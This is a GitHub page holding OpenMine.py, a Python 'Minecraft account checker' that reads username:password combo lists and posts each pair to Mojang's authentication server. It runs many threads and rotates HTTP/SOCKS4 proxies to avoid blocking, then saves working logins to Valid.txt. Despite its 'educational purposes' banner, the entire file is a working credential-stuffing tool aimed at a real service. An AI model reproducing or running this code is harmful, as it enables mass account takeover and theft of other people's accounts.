forked from Mankey/Minecraft-Account-Checker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathOpenMine.py
389 lines (355 loc) · 23.2 KB
/
OpenMine.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
import threading, requests, json
import ctypes, time, os, sys
from colorama import Fore, init, Style
from requests.exceptions import ConnectionError
logo = '''
██████╗ ██████╗ ███████╗███╗ ██╗███╗ ███╗██╗███╗ ██╗███████╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║████╗ ████║██║████╗ ██║██╔════╝
██║ ██║██████╔╝█████╗ ██╔██╗ ██║██╔████╔██║██║██╔██╗ ██║█████╗
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║██║╚██╔╝██║██║██║╚██╗██║██╔══╝
╚██████╔╝██║ ███████╗██║ ╚████║██║ ╚═╝ ██║██║██║ ╚████║███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝
'''
def update_title(message):
if os.name == 'nt':
ctypes.windll.kernel32.SetConsoleTitleW(message)
else:
sys.stdout.write(f"\x1b]2;{message}\x07")
class bcolors:
HEADER = '\033[95m'
CYAN = '\u001b[36m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
MAGENTA = '\u001b[35m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
class Minecraft:
def __init__(self):
self.checking = True
self.usernames = []
self.passwords = []
self.ip = []
self.port = []
self.workingproxies = []
self.invalid = 0
self.combocounter = 0
self.proxycounter = 0
self.proxytype = 0
self.connectionerror = 0
self.valid = 0
self.ticker = 0
def update_title(self, message):
if os.name == 'nt':
ctypes.windll.kernel32.SetConsoleTitleW(message)
else:
sys.stdout.write(f"\x1b]2;{message}\x07")
def load_combos(self):
if os.path.exists("./combo.txt"):
with open("./combo.txt", "r") as f:
for line in f.read().splitlines():
if ":" in line:
self.usernames.append(line.split(":")[0])
self.passwords.append(line.split(":")[-1])
if not len(self.usernames): return None
return True
update_title("Minecraft Account Checker | Error"); print("{}Error\n{}No combo file found: 'combo.txt'".format(Fore.YELLOW, Fore.WHITE)); time.sleep(10); exit()
def load_proxies(self):
if os.path.exists("./proxies.txt"):
with open("./proxies.txt", "r") as g:
for line in g.read().splitlines():
if ":" in line:
self.ip.append(line.split(":")[0])
self.port.append(line.split(":")[-1])
if not len(self.ip): return None
return True
update_title("Minecraft Account Checker | Error"); print("{}Error\n{}No proxy file found: 'combo.txt'".format(Fore.YELLOW, Fore.WHITE)); time.sleep(10); exit()
def get_latest_proxy(self):
try:
latest_proxy = self.workingproxies[0]
return latest_proxy
except IndexError:
self.combocounter += len(self.usernames)
return '0.0.0.0:00000'
def log(text):
livetime = '['+strftime("%Y-%m-%d %H:%M:%S", gmtime())+'] '
print(livetime+text)
def update_proxyon(self):
os.system('cls' if os.name == 'nt' else 'clear')
activeip, activeport = (self.get_latest_proxy()).split(':')
if self.proxytype == 1:
print(f'''
██████╗ ██████╗ ███████╗███╗ ██╗███╗ ███╗██╗███╗ ██╗███████╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║████╗ ████║██║████╗ ██║██╔════╝
██║ ██║██████╔╝█████╗ ██╔██╗ ██║██╔████╔██║██║██╔██╗ ██║█████╗
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║██║╚██╔╝██║██║██║╚██╗██║██╔══╝
╚██████╔╝██║ ███████╗██║ ╚████║██║ ╚═╝ ██║██║██║ ╚████║███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝
Version v1.0
A lightweight & open-source minecraft account checker for educational purposes.\n
HTTP/HTTPS PROXY IS {bcolors.OKGREEN}ACTIVE{bcolors.ENDC} - {bcolors.UNDERLINE}{activeip}:{activeport}{bcolors.ENDC}
OpenMine is running - [{bcolors.OKBLUE}{self.valid + self.invalid + self.connectionerror}{bcolors.ENDC}/{len(self.usernames)}] checked accounts.
[{bcolors.OKGREEN}{self.valid}{bcolors.ENDC}/{len(self.usernames)}] good accounts.
[{bcolors.FAIL}{self.invalid}{bcolors.ENDC}/{len(self.usernames)}] bad accounts.
[{bcolors.FAIL}{self.connectionerror}{bcolors.ENDC}/{len(self.usernames)}] proxy errors.
''')
if self.proxytype == 2:
print(f'''
██████╗ ██████╗ ███████╗███╗ ██╗███╗ ███╗██╗███╗ ██╗███████╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║████╗ ████║██║████╗ ██║██╔════╝
██║ ██║██████╔╝█████╗ ██╔██╗ ██║██╔████╔██║██║██╔██╗ ██║█████╗
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║██║╚██╔╝██║██║██║╚██╗██║██╔══╝
╚██████╔╝██║ ███████╗██║ ╚████║██║ ╚═╝ ██║██║██║ ╚████║███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝
Version v1.0
A lightweight & open-source minecraft account checker for educational purposes.\n
SOCKS4 PROXY IS {bcolors.OKGREEN}ACTIVE{bcolors.ENDC} - {bcolors.UNDERLINE}{activeip}:{activeport}{bcolors.ENDC}
OpenMine is running - [{bcolors.OKBLUE}{self.valid + self.invalid + self.connectionerror}{bcolors.ENDC}/{len(self.usernames)}] checked accounts.
[{bcolors.OKGREEN}{self.valid}{bcolors.ENDC}/{len(self.usernames)}] good accounts.
[{bcolors.FAIL}{self.invalid}{bcolors.ENDC}/{len(self.usernames)}] bad accounts.
[{bcolors.FAIL}{self.connectionerror}{bcolors.ENDC}/{len(self.usernames)}] proxy errors.
''')
if self.proxytype == 0:
print(f'{bcolors.FAIL}! Proxy type unknown')
exit()
def update_proxyoff(self):
os.system('cls' if os.name == 'nt' else 'clear')
print(f'''
██████╗ ██████╗ ███████╗███╗ ██╗███╗ ███╗██╗███╗ ██╗███████╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║████╗ ████║██║████╗ ██║██╔════╝
██║ ██║██████╔╝█████╗ ██╔██╗ ██║██╔████╔██║██║██╔██╗ ██║█████╗
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║██║╚██╔╝██║██║██║╚██╗██║██╔══╝
╚██████╔╝██║ ███████╗██║ ╚████║██║ ╚═╝ ██║██║██║ ╚████║███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝
Version v1.0
A lightweight & open-source minecraft account checker for educational purposes.\n
PROXYLESS IS {bcolors.OKGREEN}ACTIVE{bcolors.ENDC}
OpenMine is running - [{bcolors.OKBLUE}{self.valid + self.invalid + self.connectionerror}{bcolors.ENDC}/{len(self.usernames)}] checked accounts.
[{bcolors.OKGREEN}{self.valid}{bcolors.ENDC}/{len(self.usernames)}] good accounts.
[{bcolors.FAIL}{self.invalid}{bcolors.ENDC}/{len(self.usernames)}] bad accounts.
[{bcolors.FAIL}{self.connectionerror}{bcolors.ENDC}/{len(self.usernames)}] connection errors.
''')
def check_proxies(self, ip, port):
try:
if self.proxytype == 1:
proxies = {'http': f"{ip}:{port}"}
if self.proxytype == 2:
proxies = {'http': f"socks4://{ip}:{port}"}
if self.proxytype == 0:
print(f'{bcolors.FAIL}! Proxy type unknown')
exit()
requests.get('https://authserver.mojang.com/', proxies=proxies)
self.workingproxies.append(f'{ip}:{port}')
except requests.exceptions.ConnectionError:
pass
def check_account(self, username, password):
if self.useproxies == 'y':
data = json.dumps({"agent":{"name":"Minecraft","version":1}, "username":username,"password":password,"requestUser":"true"})
headers = {'Content-Type': 'application/json'}
activeip, activeport = (self.get_latest_proxy()).split(':')
if self.proxytype == 1:
proxies = {'http': f"{activeip}:{activeport}"}
if self.proxytype == 2:
proxies = {'http': f"socks4://{activeip}:{activeport}"}
if self.proxytype == 0:
print(f'{bcolors.FAIL}! Proxy type unknown')
exit()
try:
checkraw = requests.post("https://authserver.mojang.com/authenticate", data=data, headers=headers, proxies=proxies)
checkjson = json.loads(checkraw.text)
if "clientToken" in checkraw.text:
gameuser = checkjson['selectedProfile']['name']
if self.saveusername == 'y':
with open("./Valid.txt", "a") as f: f.write("{}:{} ({})\n".format(username, password, gameuser))
else:
with open("./Valid.txt", "a") as f: f.write("{}:{}\n".format(username, password))
self.valid += 1
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyon()
else:
self.invalid += 1
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyon()
except requests.exceptions.ConnectionError:
self.connectionerror += 1
if self.checkproxies == 'y':
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyon()
try:
self.workingproxies.pop(0)
except IndexError:
pass
else:
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyon()
except json.decoder.JSONDecodeError:
self.connectionerror += 1
if self.checkproxies == 'y':
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyon()
try:
self.workingproxies.pop(0)
except IndexError:
pass
else:
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyon()
else:
data = json.dumps({"agent":{"name":"Minecraft","version":1}, "username":username,"password":password,"requestUser":"true"})
headers = {'Content-Type': 'application/json'}
try:
checkraw = requests.post("https://authserver.mojang.com/authenticate", data=data, headers=headers)
checkjson = json.loads(checkraw.text)
if "clientToken" in checkraw.text:
gameuser = checkjson['selectedProfile']['name']
if self.saveusername == 'y':
with open("./Valid.txt", "a") as f: f.write("{}:{} ({})\n".format(username, password, gameuser))
else:
with open("./Valid.txt", "a") as f: f.write("{}:{}\n".format(username, password))
self.valid += 1
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyoff()
else:
self.invalid += 1
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyoff()
except requests.exceptions.ConnectionError:
self.connectionerror += 1
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyoff()
except json.decoder.JSONDecodeError:
self.connectionerror += 1
self.ticker += 1
self.update_title("OpenMine - Minecraft Account Checker | Valid: {} | Invalid: {} | Checked: {}/{} | Remaining: {}".format(self.valid, self.invalid, (self.valid + self.invalid + self.connectionerror), len(self.usernames), (len(self.usernames) - (self.valid + self.invalid + self.connectionerror))))
if self.ticker >= (0.8*self.threads):
self.ticker = 0
self.update_proxyoff()
def start_checking(self):
def combo_thread_starter():
try:
self.check_account(self.usernames[self.combocounter], self.passwords[self.combocounter])
except IndexError:
pass
if self.checkproxies == 'y':
def proxy_thread_starter():
self.check_proxies(self.ip[self.proxycounter], self.port[self.proxycounter])
if self.proxytype == 1:
print(f"{bcolors.OKGREEN}> {bcolors.ENDC}Please wait as we check your HTTP/HTTPS proxylist validity...")
if self.proxytype == 2:
print(f"{bcolors.OKGREEN}> {bcolors.ENDC}Please wait as we check your SOCKS4 proxylist validity...")
if self.proxytype == 0:
print(f'{bcolors.FAIL}! Proxy type unknown')
exit()
while(True):
if threading.active_count() <= self.threads:
threading.Thread(target = proxy_thread_starter).start()
self.proxycounter += 1
if self.proxycounter >= len(self.ip): break
else:
with open("./proxies.txt", "r") as g:
for line in g.read().splitlines():
if ":" in line:
self.workingproxies.append(line)
while(True):
if threading.active_count() <= self.threads:
threading.Thread(target = combo_thread_starter).start()
self.combocounter += 1
if self.combocounter >= len(self.usernames): break
if self.useproxies == 'y':
time.sleep(1)
self.update_proxyon()
else:
time.sleep(1)
self.update_proxyoff()
try:
if self.useproxies == 'y':
activeip, activeport = (self.get_latest_proxy()).split(':')
time.sleep(1)
if activeip == '0.0.0.0':
print(f'Ran out of {bcolors.WARNING}working proxies{bcolors.ENDC}.')
input(f'Checking {bcolors.UNDERLINE}finished{bcolors.ENDC}, press any key to exit...')
except EOFError:
pass
def main(self):
os.system('cls' if os.name == 'nt' else 'clear')
if os.name == 'nt':
os.system("mode con cols=100 lines=35")
ctypes.windll.kernel32.SetConsoleTitleW("OpenMine - Minecraft Account Checker | Setup")
else:
os.system("printf '\e[9;1t'")
sys.stdout.write("\x1b]2;OpenMine - Minecraft Account Checker | Setup\x07")
print(logo)
print("\nVersion v1.0")
print("A lightweight & open-source minecraft account checker for educational purposes.\n")
load_combo = self.load_combos()
if load_combo is not None:
while(True):
try:
self.threads = int(input(f"{bcolors.WARNING}> {bcolors.ENDC}Threads: "))
self.saveusername = (input(f"{bcolors.WARNING}> {bcolors.ENDC}Save usernames? (y/n): "))
if self.saveusername == 'y':
pass
else:
self.saveusername = 'n'
self.useproxies = (input(f"{bcolors.WARNING}> {bcolors.ENDC}Use proxies? (Rotating proxies are recommended) (y/n): "))
if self.useproxies == 'y':
load_proxy = self.load_proxies()
if load_proxy is not None:
pass
else:
os.system('cls' if os.name == 'nt' else 'clear'); update_title("OpenMine - Minecraft Account Checker | Error"); print(f"{bcolors.FAIL}Error\n{bcolors.ENDC}Please put your proxies inside of 'proxies.txt'"); time.sleep(10); exit()
while(True):
print(f'[1] HTTP/HTTPS')
print(f'[2] SOCKS4')
self.proxytype = int(input(f"{bcolors.WARNING}> {bcolors.ENDC}Please enter the number corresponding to the proxy type: "))
if self.proxytype == 1 or self.proxytype == 2:
break
else:
print(f'{bcolors.FAIL}! Please enter 1 or 2')
continue
self.checkproxies = (input(f"{bcolors.WARNING}> {bcolors.ENDC}Check proxies? (Do not use for rotating proxies) (y/n): "))
if self.checkproxies == 'y':
pass
else:
self.checkproxies = 'n'
break
else:
self.useproxies = 'n'
self.checkproxies = 'n'
break
except ValueError:
print(f'{bcolors.FAIL}! Please enter a number, not a letter')
continue
self.start_checking()
else:
os.system('cls' if os.name == 'nt' else 'clear'); update_title("OpenMine - Minecraft Account Checker | Error"); print(f"{bcolors.FAIL}Error\n{bcolors.ENDC}Please put your combos inside of 'combo.txt'"); time.sleep(10); exit()
Minecraft().main()